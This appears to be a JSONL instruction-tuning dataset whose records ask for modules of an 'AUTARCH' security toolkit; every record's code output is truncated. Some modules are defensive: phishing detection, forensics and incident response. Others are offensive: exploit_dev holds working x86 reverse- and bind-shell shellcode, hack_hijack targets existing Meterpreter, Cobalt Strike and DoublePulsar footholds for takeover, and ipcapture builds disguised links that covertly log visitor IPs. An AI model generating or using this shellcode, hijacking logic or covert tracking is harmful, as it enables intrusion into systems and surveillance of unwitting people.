Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n # ==================== DOSSIER OPERATIONS ====================\n\n def _generate_dossier_id(self, name: str) -> str:\n \"\"\"Generate a unique dossier ID from name.\"\"\"\n # Sanitize name for filename\n safe_name = \"\".join(c if c.isalnum() or c in \"-_\" else \"_\" for c in name.lower())\n timestamp = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n return f\"{safe_name}_{timestamp}\"\n\n def _get_dossier_path(self, dossier_id: str) -> Path:\n \"\"\"Get path to dossier file.\"\"\"\n return self.dossier_dir / f\"{dossier_id}.json\"\n\n def _create_empty_dossier(self, name: str, subject: str = \"\", notes: str = \"\") -> Dict:\n \"\"\"Create a new empty dossier structure.\"\"\"\n return {\n \"meta\": {\n \"name\": name,\n \"subject\": subject,\n \"created\": datetime.now().isoformat(),\n \"modified\": datetime.now().isoformat(),\n \"notes\": notes,\n },\n \"identifiers\": {\n \"emails\": [],\n \"usernames\": [],\n \"phones\": [],\n \"real_names\": [],\n \"aliases\": [],\n },\n \"results\": {\n \"email_searches\": [],\n \"username_searches\": [],\n \"phone_searches\": [],\n },\n \"profiles\": [],\n \"custom_notes\": [],\n }\n\n def save_dossier(self, dossier: Dict, path: Path) -> bool:\n \"\"\"Save dossier to file.\"\"\"\n try:\n dossier[\"meta\"][\"modified\"] = datetime.now().isoformat()\n with open(path, 'w') as f:\n json.dump(dossier, f, indent=2)\n return True\n except Exception as e:\n self.print_status(f\"Failed to save dossier: {e}\", \"error\")\n return False\n\n def load_dossier(self, path: Path) -> Optional[Dict]:\n \"\"\"Load dossier from file.\"\"\"\n try:\n with open(path, 'r') as f:\n return json.load(f)\n except Exception as e:\n self.print_status(f\"Failed to load dossier: {e}\", \"error\")\n return None\n\n def list_dossiers(self) -> List[Dict]:\n \"\"\"List all saved dossie
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that email security — dmarc, spf, header forensics. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: email_sec\nCategory: defense\nDescription: Email security — DMARC, SPF, header forensics", "output": "\"\"\"AUTARCH Email Security\n\nDMARC/SPF/DKIM analysis, email header forensics, phishing detection,\nmailbox search, and abuse report generation for email security assessment.\n\"\"\"\n\nDESCRIPTION = \"Email security — DMARC, SPF, header forensics\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nimport os\nimport re\nimport sys\nimport json\nimport ssl\nimport time\nimport socket\nimport struct\nimport hashlib\nimport imaplib\nimport poplib\nimport email\nimport email.header\nimport email.utils\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any, Tuple\nfrom urllib.parse import urlparse\nimport subprocess\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = BLUE = GREEN = YELLOW = CYAN = WHITE = DIM = RESET = ''\n def clear_screen(): pass\n def display_banner(): pass\n\n\n# -- Constants ---------------------------------------------------------------\n\nCOMMON_DKIM_SELECTORS = [\n 'default', 'google', 'selector1', 'selector2', 'k1', 'k2',\n 'dkim', 'mail', 's1', 's2', 'smtp', 'mandrill', 'everlytickey1',\n 'everlytickey2', 'sig1', 'mxvault', 'a1', 'a2', 'cm', 'pm',\n 'protonmail', 'protonmail2', 'protonmail3',\n]\n\nBLACKLISTS = [\n 'zen.spamhaus.org',\n 'bl.spamcop.net',\n 'b.barracudacentral.org',\n 'dnsbl.sorbs.net',\n 'spam.dnsbl.sorbs.net',\n 'dul.dnsbl.sorbs.net',\n 'cbl.abuseat.org',\n 'dnsbl-1.uceprotect.net',\n 'psbl.surriel.com',\n 'all.s5h.net',\n 'rbl.interserver.net',\n 'dnsbl.dronebl.org',\n 'db.wpbl.info',\n 'bl.mailspike.net',\n 'truncate.gbudb.net',\n]\n\nPHISHING_INDICATORS = {\n 'urgency_words': {\n 'patterns': [\n r'\\b(urgent|immediate|action\\s+required|act\\s+now|expires?\\s+today)\\b',\n r'\\b(suspended|disabled|locked|compromised|unauthorized)\\b',\n r'\\b(verify\\s+your|confirm\\s+your|update\\s+your|validate)\\b',\n r'\\b(within\\s+24\\s+hours|limited\\s+time|final\\s+notice|last\\s+chance)\\b',\n ],\n 'weight': 15,\n },\n 'suspicious_urls': {\n 'patterns': [\n r'https?://\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}', # IP-based URLs\n r'https?://[^/]*\\.(tk|ml|ga|cf|gq|xyz|top|buzz|club|work|click)\\b', # suspicious TLDs\n r'https?://bit\\.ly|tinyurl\\.com|goo\\.gl|t\\.co|is\\.gd|shorte\\.st', # shorteners\n ],\n 'weight': 25,\n },\n 'brand_impersonation': {\n 'patterns': [\n r'\\b(paypal|apple|microsoft|google|amazon|facebook|netflix|bank)\\b',\n ],\n 'weight': 10,\n },\n 'dangerous_attachments': {\n 'patterns': [\n r'\\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll)\\b',\n r'\\.(doc|xls|ppt)m\\b', # macro-enabled Office\n r'\\.iso\\b|\\.img\\b|\\.hta\\b',\n ],\n 'weight': 30,\n },\n 'encoding_tricks': {\n 'patterns': [\n r'xn--', # punycode\n r'&#\\d+;', # HTML entities numeric\n r'&#x[0-9a-f]+;', # HTML entities hex\n r'=\\?[^?]*\\?B\\?', # Base64 encoded headers\n ],\n 'weight': 20,\n },\n}\n\nURL_SHORTENER_DOMAINS = {\n 'bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'is.gd', 'shorte.st',\n 'ow.ly', 'buff.ly', 'rebrand.ly', 'cutt.ly', 'tiny.cc', 'lnkd.
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that exploit development — shellcode, encoding, rop chains. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: exploit_dev\nCategory: offense\nDescription: Exploit development — shellcode, encoding, ROP chains", "output": "\"\"\"AUTARCH Exploit Development Toolkit\n\nShellcode generation, payload encoding, ROP chain building, cyclic pattern\ngeneration, and assembly/disassembly for exploit development workflows.\n\"\"\"\n\nDESCRIPTION = \"Exploit development — shellcode, encoding, ROP chains\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport sys\nimport re\nimport struct\nimport string\nimport subprocess\nimport tempfile\nimport random\nimport hashlib\nfrom pathlib import Path\nfrom datetime import datetime\n\ntry:\n from core.paths import get_data_dir, find_tool\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n def find_tool(name, extra_paths=None):\n import shutil\n return shutil.which(name)\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = BOLD = DIM = RESET = ''\n def clear_screen(): pass\n def display_banner(): pass\n\n\n# ---------------------------------------------------------------------------\n# Shellcode Templates — real, working shellcode bytes\n# ---------------------------------------------------------------------------\n\nSHELLCODE_TEMPLATES = {\n # ---- Linux x86 ----\n 'linux_x86_reverse_shell': {\n 'bytes': (\n '31db' # xor ebx, ebx\n 'f7e3' # mul ebx\n '53' # push ebx\n '43' # inc ebx\n '53' # push ebx\n '6a02' # push 0x2\n '89e1' # mov ecx, esp\n 'b066' # mov al, 0x66\n 'cd80' # int 0x80\n '93' # xchg eax, ebx\n '59' # pop ecx\n 'b03f' # mov al, 0x3f\n 'cd80' # int 0x80\n '49' # dec ecx\n '79f9' # jns -5\n '68' # push imm32 (IP)\n '7f000001' # 127.0.0.1\n '680200' # push word port\n '115c' # port 4444\n '6a10' # push 0x10\n '51' # push ecx\n '53' # push ebx\n '89e1' # mov ecx, esp\n '6a66' # push 0x66\n '58' # pop eax\n 'cd80' # int 0x80\n '6a0b' # push 0x0b\n '58' # pop eax\n '99' # cdq\n '52' # push edx\n '68' # push imm32\n '2f2f7368' # //sh\n '682f62696e' # /bin\n '89e3' # mov ebx, esp\n '52' # push edx\n '53' # push ebx\n '89e1' # mov ecx, esp\n 'cd80' # int 0x80\n ),\n 'length': 74,\n 'description': 'Linux x86 reverse shell — connect back and exec /bin/sh',\n 'null_free': True,\n 'arch': 'x86',\n 'platform': 'linux',\n 'offsets': {'host': 31, 'port': 37},\n },\n 'linux_x86_bind_shell': {\n 'bytes': (\n '31db' # xor ebx, ebx\n 'f7e3' # mul ebx\n '53' # push ebx\n '43' # inc ebx\n '53' # push ebx\n '6a02' # push 0x2\n '89e1' # mov ecx, esp\n 'b066' # mov al, 0x66\n 'cd80' # int 0x80\n '5
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that digital forensics & evidence analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: forensics\nCategory: analyze\nDescription: Digital forensics & evidence analysis", "output": "\"\"\"AUTARCH Forensics Toolkit\n\nDisk imaging, file carving, metadata extraction, timeline building,\nhash verification, and chain of custody logging for digital forensics.\n\"\"\"\n\nDESCRIPTION = \"Digital forensics & evidence analysis\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport hashlib\nimport struct\nimport shutil\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any, Tuple\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n# Optional imports\ntry:\n from PIL import Image as PILImage\n from PIL.ExifTags import TAGS, GPSTAGS\n HAS_PIL = True\nexcept ImportError:\n HAS_PIL = False\n\n\n# ── File Signatures for Carving ──────────────────────────────────────────────\n\nFILE_SIGNATURES = [\n {'name': 'JPEG', 'ext': '.jpg', 'magic': b'\\xFF\\xD8\\xFF', 'footer': b'\\xFF\\xD9', 'max_size': 50*1024*1024},\n {'name': 'PNG', 'ext': '.png', 'magic': b'\\x89PNG\\r\\n\\x1a\\n', 'footer': b'IEND\\xAE\\x42\\x60\\x82', 'max_size': 50*1024*1024},\n {'name': 'GIF', 'ext': '.gif', 'magic': b'GIF8', 'footer': b'\\x00\\x3B', 'max_size': 20*1024*1024},\n {'name': 'PDF', 'ext': '.pdf', 'magic': b'%PDF', 'footer': b'%%EOF', 'max_size': 100*1024*1024},\n {'name': 'ZIP', 'ext': '.zip', 'magic': b'PK\\x03\\x04', 'footer': None, 'max_size': 500*1024*1024},\n {'name': 'RAR', 'ext': '.rar', 'magic': b'Rar!\\x1a\\x07', 'footer': None, 'max_size': 500*1024*1024},\n {'name': 'ELF', 'ext': '.elf', 'magic': b'\\x7fELF', 'footer': None, 'max_size': 100*1024*1024},\n {'name': 'PE/EXE', 'ext': '.exe', 'magic': b'MZ', 'footer': None, 'max_size': 100*1024*1024},\n {'name': 'SQLite', 'ext': '.sqlite', 'magic': b'SQLite format 3\\x00', 'footer': None, 'max_size': 500*1024*1024},\n {'name': 'DOCX', 'ext': '.docx', 'magic': b'PK\\x03\\x04', 'footer': None, 'max_size': 100*1024*1024},\n {'name': '7z', 'ext': '.7z', 'magic': b\"7z\\xBC\\xAF'\\x1C\", 'footer': None, 'max_size': 500*1024*1024},\n {'name': 'BMP', 'ext': '.bmp', 'magic': b'BM', 'footer': None, 'max_size': 50*1024*1024},\n {'name': 'MP3', 'ext': '.mp3', 'magic': b'\\xFF\\xFB', 'footer': None, 'max_size': 50*1024*1024},\n {'name': 'MP4', 'ext': '.mp4', 'magic': b'\\x00\\x00\\x00\\x18ftyp', 'footer': None, 'max_size': 1024*1024*1024},\n {'name': 'AVI', 'ext': '.avi', 'magic': b'RIFF', 'footer': None, 'max_size': 1024*1024*1024},\n]\n\n\n# ── Chain of Custody Logger ──────────────────────────────────────────────────\n\nclass CustodyLog:\n \"\"\"Chain of custody logging for forensic evidence.\"\"\"\n\n def __init__(self, data_dir: str):\n self.log_file = os.path.join(data_dir, 'custody_log.json')\n self.entries: List[Dict] = []\n self._load()\n\n def _load(self):\n if os.path.exists(self.log_file):\n try:\n with open(self.log_file) as f:\n self.entries = json.load(f)\n except Exception:\n pass\n\n def _save(self):\n with open(self.log_file, 'w') as f:\n json.dump(self.entries, f, indent=2)\n\n def log(self, action: str, target: str, details: str = \"\",\n evidence_hash: str = \"\") -> Dict:\n \"\"\"Log a forensic
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that get geolocation for ips, domains, and urls. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: geoip\nCategory: osint\nDescription: Get geolocation for IPs, domains, and URLs", "output": "\"\"\"\nAUTARCH GEO IP/Domain Lookup Module\nGet geolocation info for IPs, domains, and URLs\nBased on Snoop Project's GEO_IP/domain plugin\n\"\"\"\n\nimport ipaddress\nimport json\nimport os\nimport socket\nimport sys\nimport threading\nimport time\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Add parent directory to path for imports\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.banner import Colors\n\n# Module metadata\nNAME = \"GEO IP Lookup\"\nDESCRIPTION = \"Get geolocation for IPs, domains, and URLs\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"1.0\"\nCATEGORY = \"osint\"\n\n# Try to import requests\ntry:\n import requests\nexcept ImportError:\n requests = None\n\n\nclass GeoIPLookup:\n \"\"\"GEO IP/Domain lookup utility.\"\"\"\n\n def __init__(self):\n self.session = None\n self.timeout = 10\n self.user_agent = \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36\"\n self._init_session()\n\n def _init_session(self):\n \"\"\"Initialize requests session.\"\"\"\n if requests is None:\n return\n\n self.session = requests.Session()\n adapter = requests.adapters.HTTPAdapter(max_retries=2)\n self.session.mount('https://', adapter)\n self.session.mount('http://', adapter)\n self.session.headers.update({'User-Agent': self.user_agent})\n\n def _resolve_domain(self, target: str, timeout: int = 4) -> dict:\n \"\"\"Resolve domain to IP addresses.\n\n Args:\n target: Domain name or IP address.\n timeout: Socket timeout in seconds.\n\n Returns:\n Dict with resolved IPs and domain info.\n \"\"\"\n result = {\n 'domain': None,\n 'ipv4': None,\n 'ipv6': None,\n }\n\n def get_fqdn():\n try:\n result['domain'] = socket.getfqdn(target)\n except Exception:\n result['domain'] = target\n\n def get_ips():\n try:\n addr_info = socket.getaddrinfo(target, 443)\n for info in addr_info:\n ip = info[4][0]\n try:\n if ipaddress.IPv4Address(ip):\n result['ipv4'] = ip\n except Exception:\n pass\n try:\n if ipaddress.IPv6Address(ip):\n result['ipv6'] = ip\n except Exception:\n pass\n except Exception:\n pass\n\n # Run in threads with timeout\n t1 = threading.Thread(target=get_fqdn)\n t2 = threading.Thread(target=get_ips)\n t1.start()\n t2.start()\n t1.join(timeout)\n t2.join(timeout)\n\n return result\n\n def _parse_target(self, target: str) -> str:\n \"\"\"Parse and clean target input.\n\n Args:\n target: User input (IP, domain, or URL).\n\n Returns:\n Cleaned target string.\n \"\"\"\n target = target.strip()\n\n # Check if it's a URL\n if '://' in target:\n parsed = urlparse(target)\n if parsed.hostname:\n target = parsed.hostname.replace('www.', '')\n elif '/' in target:\n target = target.split('/')[0]\n\n return target\n\n def _is_ip(self, target: str) -> bool:\n \"\"\"Check if target is an IP address.\"\"\"\n try:\n ipaddress.ip_address(target)\n return True\n except Exception:\n retu
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that hijack already-compromised systems. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: hack_hijack\nCategory: offense\nDescription: Hijack already-compromised systems", "output": "\"\"\"AUTARCH Hack Hijack Module\n\nScans target systems for signs of existing compromise — open backdoors,\nknown exploit artifacts, rogue services, suspicious listeners — then\nprovides tools to take over those footholds.\n\nDetection signatures include:\n- EternalBlue/DoublePulsar (MS17-010) backdoors\n- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.)\n- Known backdoor ports and banner fingerprints\n- Web shells on HTTP services\n- Suspicious SSH authorized_keys or rogue SSHD\n- Open reverse-shell listeners\n- Rogue SOCKS/HTTP proxies\n- Cryptocurrency miners\n\"\"\"\n\nDESCRIPTION = \"Hijack already-compromised systems\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport json\nimport time\nimport socket\nimport struct\nimport threading\nimport subprocess\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Any\nfrom dataclasses import dataclass, field\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Known Backdoor Signatures ────────────────────────────────────────────────\n\n@dataclass\nclass BackdoorSignature:\n name: str\n port: int\n protocol: str # tcp / udp\n banner_pattern: str = '' # regex or substring in banner\n probe: bytes = b'' # bytes to send to trigger banner\n description: str = ''\n category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell\n takeover_method: str = '' # how to hijack\n\n\n# Port-based detection signatures\nBACKDOOR_SIGNATURES: List[BackdoorSignature] = [\n # ── EternalBlue / DoublePulsar ────────────────────────────────────────\n BackdoorSignature(\n name='DoublePulsar SMB Backdoor',\n port=445,\n protocol='tcp',\n description='NSA DoublePulsar implant via EternalBlue (MS17-010). '\n 'Detected by SMB Trans2 SESSION_SETUP anomaly.',\n category='eternalblue',\n takeover_method='doublepulsar_inject',\n ),\n\n # ── Common RAT / C2 Listeners ─────────────────────────────────────────\n BackdoorSignature(\n name='Meterpreter Reverse TCP',\n port=4444,\n protocol='tcp',\n banner_pattern='',\n description='Default Metasploit Meterpreter reverse TCP handler.',\n category='rat',\n takeover_method='meterpreter_session',\n ),\n BackdoorSignature(\n name='Meterpreter Bind TCP',\n port=4444,\n protocol='tcp',\n banner_pattern='',\n description='Metasploit bind shell / Meterpreter bind TCP.',\n category='rat',\n takeover_method='meterpreter_connect',\n ),\n BackdoorSignature(\n name='Cobalt Strike Beacon (HTTPS)',\n port=443,\n protocol='tcp',\n banner_pattern='',\n description='Cobalt Strike default HTTPS beacon listener.',\n category='rat',\n takeover_method='beacon_takeover',\n ),\n BackdoorSignature(\n name='Cobalt Strike Beacon (HTTP)',\n port=80,\n protocol='tcp',\n banner_pattern='',\n description='Cobalt Strike HTTP beacon listener.',\n category='rat',\n takeover_method='beacon_takeover',\n ),\n Backdoo
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'hardware' category that physical device access (adb/fastboot/serial). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: hardware_local\nCategory: hardware\nDescription: Physical device access (ADB/Fastboot/Serial)", "output": "\"\"\"\nHardware Local - Physical device access (ADB/Fastboot/Serial)\nDirect access to USB-connected devices on this machine.\n\"\"\"\n\nDESCRIPTION = \"Physical device access (ADB/Fastboot/Serial)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"hardware\"\n\n\nclass HardwareLocal:\n \"\"\"Interactive hardware access menu.\"\"\"\n\n def __init__(self):\n from core.hardware import get_hardware_manager\n self.mgr = get_hardware_manager()\n\n def show_menu(self):\n status = self.mgr.get_status()\n print(f\"\\n{'='*50}\")\n print(\" Hardware Access (Local)\")\n print(f\"{'='*50}\")\n print(f\" ADB: {'Available' if status['adb'] else 'Not found'}\")\n print(f\" Fastboot: {'Available' if status['fastboot'] else 'Not found'}\")\n print(f\" Serial: {'Available' if status['serial'] else 'Not installed'}\")\n print(f\" ESPTool: {'Available' if status['esptool'] else 'Not installed'}\")\n print()\n print(\" 1) List ADB Devices\")\n print(\" 2) ADB Device Info\")\n print(\" 3) ADB Shell\")\n print(\" 4) ADB Sideload/Install\")\n print(\" 5) List Fastboot Devices\")\n print(\" 6) Fastboot Device Info\")\n print(\" 7) Fastboot Flash Partition\")\n print(\" 8) List Serial Ports\")\n print(\" 9) Detect ESP Chip\")\n print(\" 10) Flash ESP32 Firmware\")\n print(\" 0) Back\")\n print()\n\n def _pick_device(self, devices, label=\"device\"):\n if not devices:\n print(f\" No {label}s found.\")\n return None\n if len(devices) == 1:\n return devices[0]['serial']\n print(f\"\\n Select {label}:\")\n for i, d in enumerate(devices, 1):\n extra = d.get('model', '') or d.get('state', '')\n print(f\" {i}) {d['serial']} {extra}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n return devices[choice - 1]['serial']\n except (ValueError, EOFError):\n pass\n return None\n\n def list_adb_devices(self):\n devices = self.mgr.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n print(f\"\\n {'Serial':<20} {'State':<12} {'Model':<15} {'Product'}\")\n print(f\" {'-'*60}\")\n for d in devices:\n print(f\" {d['serial']:<20} {d['state']:<12} {d.get('model',''):<15} {d.get('product','')}\")\n\n def adb_device_info(self):\n devices = self.mgr.adb_devices()\n serial = self._pick_device(devices, \"ADB device\")\n if not serial:\n return\n info = self.mgr.adb_device_info(serial)\n print(f\"\\n Device Info: {serial}\")\n print(f\" {'-'*40}\")\n for k, v in info.items():\n print(f\" {k:<20} {v}\")\n\n def adb_shell(self):\n devices = self.mgr.adb_devices()\n serial = self._pick_device(devices, \"ADB device\")\n if not serial:\n return\n print(f\" ADB Shell ({serial}) - type 'exit' to quit\")\n while True:\n try:\n cmd = input(f\" {serial}$ \").strip()\n except (EOFError, KeyboardInterrupt):\n break\n if cmd.lower() in ('exit', 'quit', ''):\n break\n result = self.mgr.adb_shell(serial, cmd)\n if result['output']:\n print(result['output'])\n\n def adb_sideload(self):\n devices = self.mgr.adb_devices()\n serial = self._pick_device(devices, \"ADB
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'hardware' category that remote physical device access (via web ui). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: hardware_remote\nCategory: hardware\nDescription: Remote physical device access (via web UI)", "output": "\"\"\"\nHardware Remote - Remote physical device access via web UI\nDevices connected to the AUTARCH server are accessible through the web browser.\n\"\"\"\n\nDESCRIPTION = \"Remote physical device access (via web UI)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"hardware\"\n\n\ndef run():\n print(\"\\n Hardware Remote Access\")\n print(\" \" + \"=\" * 40)\n print(\" Remote hardware access is available through the web UI.\")\n print(\" Devices plugged into this server (USB/Serial) can be\")\n print(\" managed remotely via your browser.\")\n print()\n print(\" Start the web server with: python3 autarch.py --web\")\n print(\" Then navigate to: http://<server-ip>:5000/hardware\")\n print()\n print(\" Supported devices:\")\n print(\" - Android (ADB/Fastboot)\")\n print(\" - ESP32 (Serial flash/monitor)\")\n print()\n", "type": "module_creation", "category": "hardware", "source_file": "modules/hardware_remote.py"}
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that incident response — playbooks, evidence & containment. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: incident_resp\nCategory: defense\nDescription: Incident response — playbooks, evidence & containment", "output": "\"\"\"AUTARCH Incident Response\n\nIR playbook runner, evidence collection, IOC sweeping, timeline building,\ncontainment actions, and post-incident reporting for security operations.\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport time\nimport platform\nimport subprocess\nimport re\nimport hashlib\nimport shutil\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom collections import defaultdict\n\n# Module metadata\nDESCRIPTION = \"Incident response — playbooks, evidence & containment\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = YELLOW = GREEN = CYAN = BLUE = MAGENTA = WHITE = DIM = BOLD = RESET = ''\n def clear_screen(): pass\n def display_banner(): pass\n\n_is_win = platform.system() == 'Windows'\n\n# ── Valid enumerations ──────────────────────────────────────────────\n\nINCIDENT_TYPES = [\n 'ransomware', 'data_breach', 'insider_threat', 'ddos',\n 'account_compromise', 'malware', 'phishing', 'unauthorized_access',\n]\n\nSEVERITY_LEVELS = ['critical', 'high', 'medium', 'low']\n\nSTATUS_VALUES = ['open', 'investigating', 'contained', 'resolved', 'closed']\n\nEVIDENCE_TYPES = [\n 'system_logs', 'process_list', 'network_connections', 'running_services',\n 'user_accounts', 'scheduled_tasks', 'recent_files', 'memory_info',\n 'disk_info', 'installed_software',\n]\n\n\n# ── Playbooks ───────────────────────────────────────────────────────\n\nIR_PLAYBOOKS = {\n 'ransomware': {\n 'name': 'Ransomware Response',\n 'steps': [\n {\n 'title': 'Isolate Affected Systems',\n 'description': 'Immediately disconnect infected hosts from the network to prevent lateral movement and further encryption. Disable WiFi adapters and unplug Ethernet cables. Add firewall rules to block the host if remote.',\n 'check_items': ['Disconnect from network', 'Disable WiFi adapters', 'Block at firewall', 'Disable shared drives/NFS mounts'],\n 'automated': True,\n 'commands': ['netsh interface set interface \"Wi-Fi\" disable' if _is_win else 'nmcli radio wifi off',\n 'netsh advfirewall set allprofiles state on' if _is_win else 'iptables -P INPUT DROP && iptables -P OUTPUT DROP && iptables -P FORWARD DROP'],\n },\n {\n 'title': 'Preserve Evidence',\n 'description': 'Capture volatile evidence before any remediation. Collect running processes, network connections, memory state, and ransom notes. Photograph any ransom screens.',\n 'check_items': ['Capture process list', 'Capture network connections', 'Save ransom note text', 'Screenshot ransom screen', 'Record system time and timezone'],\n 'automated': True,\n 'commands': ['tasklist /v' if _is_win else 'ps auxf',\n 'netstat -anob' if _is_win else 'ss -tulnp'],\n },\n {\n 'title': 'Identify Ransomware Variant',\n 'description': 'Determine the ransomware family by examining the ransom note, encrypted fil
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that ip capture & redirect — stealthy link tracking. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: ipcapture\nCategory: osint\nDescription: IP Capture & Redirect — stealthy link tracking", "output": "\"\"\"IP Capture & Redirect — stealthy link tracking for OSINT.\n\nCreate disguised links that capture visitor IP + metadata,\nthen redirect to a legitimate target URL. Fast 302 redirect,\nrealistic URL paths, no suspicious indicators.\n\"\"\"\n\nDESCRIPTION = \"IP Capture & Redirect — stealthy link tracking\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"osint\"\n\nimport os\nimport json\nimport time\nimport random\nimport string\nimport hashlib\nimport threading\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import Dict, List, Optional\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Realistic URL path generation ────────────────────────────────────────────\n\n_WORD_POOL = [\n 'tech', 'news', 'science', 'world', 'business', 'health', 'politics',\n 'sports', 'culture', 'opinion', 'breaking', 'latest', 'update', 'report',\n 'analysis', 'insight', 'review', 'guide', 'how-to', 'explained',\n 'ai', 'climate', 'economy', 'security', 'research', 'innovation',\n 'digital', 'global', 'local', 'industry', 'future', 'trends',\n 'development', 'infrastructure', 'community', 'education', 'policy',\n]\n\n_TITLE_PATTERNS = [\n '{adj}-{noun}-{verb}-{year}-{noun2}',\n '{noun}-{adj}-{noun2}-{verb}',\n 'new-{noun}-{verb}-{adj}-{noun2}',\n '{noun}-report-{year}-{adj}-{noun2}',\n 'how-{noun}-is-{verb}-the-{noun2}',\n '{adj}-{noun}-breakthrough-{noun2}',\n]\n\n_ADJECTIVES = [\n 'major', 'new', 'latest', 'critical', 'emerging', 'global',\n 'innovative', 'surprising', 'important', 'unprecedented',\n]\n\n_NOUNS = [\n 'technology', 'researchers', 'companies', 'governments', 'scientists',\n 'industry', 'market', 'community', 'experts', 'development',\n]\n\n_VERBS = [\n 'changing', 'transforming', 'disrupting', 'advancing', 'impacting',\n 'reshaping', 'driving', 'revealing', 'challenging', 'accelerating',\n]\n\n\ndef _generate_article_path() -> str:\n \"\"\"Generate a realistic-looking article URL path.\"\"\"\n now = datetime.now()\n year = now.strftime('%Y')\n month = now.strftime('%m')\n\n pattern = random.choice(_TITLE_PATTERNS)\n slug = pattern.format(\n adj=random.choice(_ADJECTIVES),\n noun=random.choice(_NOUNS),\n noun2=random.choice(_NOUNS),\n verb=random.choice(_VERBS),\n year=year,\n )\n\n # Article-style path\n styles = [\n f'/article/{year}/{month}/{slug}',\n f'/news/{year}/{slug}',\n f'/stories/{slug}-{random.randint(1000, 9999)}',\n f'/p/{slug}',\n f'/read/{hashlib.md5(slug.encode()).hexdigest()[:8]}',\n ]\n return random.choice(styles)\n\n\ndef _generate_short_key(length: int = 8) -> str:\n \"\"\"Generate a short 